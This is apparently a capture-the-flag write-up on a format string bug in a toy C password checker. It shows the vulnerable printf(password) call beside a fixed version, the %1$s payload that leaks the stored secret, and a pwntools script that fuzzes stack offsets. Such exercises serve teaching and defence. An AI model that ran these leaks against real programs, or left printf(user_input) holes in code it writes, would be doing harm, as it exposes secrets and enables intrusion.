#include<stdio.h>#include<string.h>#include<stdlib.h>intmain(void) {char passwd[16] =""; // array to store the usernamechar password[16] =""; // array to store the password FILE *fp =fopen(".passwd","r");fread(passwd,1,15, fp);fclose(fp); passwd[15] ='\0';printf("Enter the password: ");scanf("%15s", password); // read the password from the userif (strcmp(password, passwd)==0) {printf("good job\n"); } else {printf("permission denied using password : \n");printf(password);printf("\n"); }return0;}
#include<stdio.h>#include<string.h>#include<stdlib.h>intmain(void) {char passwd[16] =""; // array to store the usernamechar password[16] =""; // array to store the password FILE *fp =fopen(".passwd","r");fread(passwd,1,15, fp);fclose(fp); passwd[15] ='\0';printf("Enter the password: ");scanf("%15s", password); // read the password from the userif (strcmp(password, passwd)==0) {printf("good job\n"); } else {printf("permission denied using password : \n");printf("%s\n", password); }return0;}
Here the objectif is to retrieve the value stored into passwd in order to pass the if condition at the next run.
Exploitation
This program is vulnerable to Format String exploit. In this case, the password variable will be printed directly using a printf()function without specify any format specifier, so if there is a format specifier into the value supplied by the user, the process will interprets it.
In order to retrieve the offset between the format specifier and the pointer of the passwd variable we can debug the process using gdb-peda and inspect the stack :
A break point is set at the call of the printf()vulnerable function.
The first value onto the stack is the user input interpreted by the printf() function and the second value is a pointer to a variable containing the string "SuperPassword!!" (value readed from the .passwd file)
This pointer is here due to the usage of strcmp before in the code
Then, if the user input is %1$s, the value stored into the passwd variable should be printed.
$ ./chall
Enter the password: SuperPassword!!
good job
Fuzzing
If it's not possible to debug the process to calculate the exact offset between the user input and the targeted secret variable, it's possible to fuzz.
It's consist to send a payload to read successively at each possible offset
from pwn import*import osos.chdir("/pwn/")# Set the logging level to ERRORcontext.log_level ="ERROR"for i inrange(100):try: p =process("./chall") payload = f"%{i}$s" p.sendline(payload.encode()) output = p.recvall().decode().split('\n')iflen(output[1])>0:print(f"PAYLOAD = {payload}\nOUTPUT = {output[1]}\n")except:pass
Then if there is pointers to strings values, this will print any of them :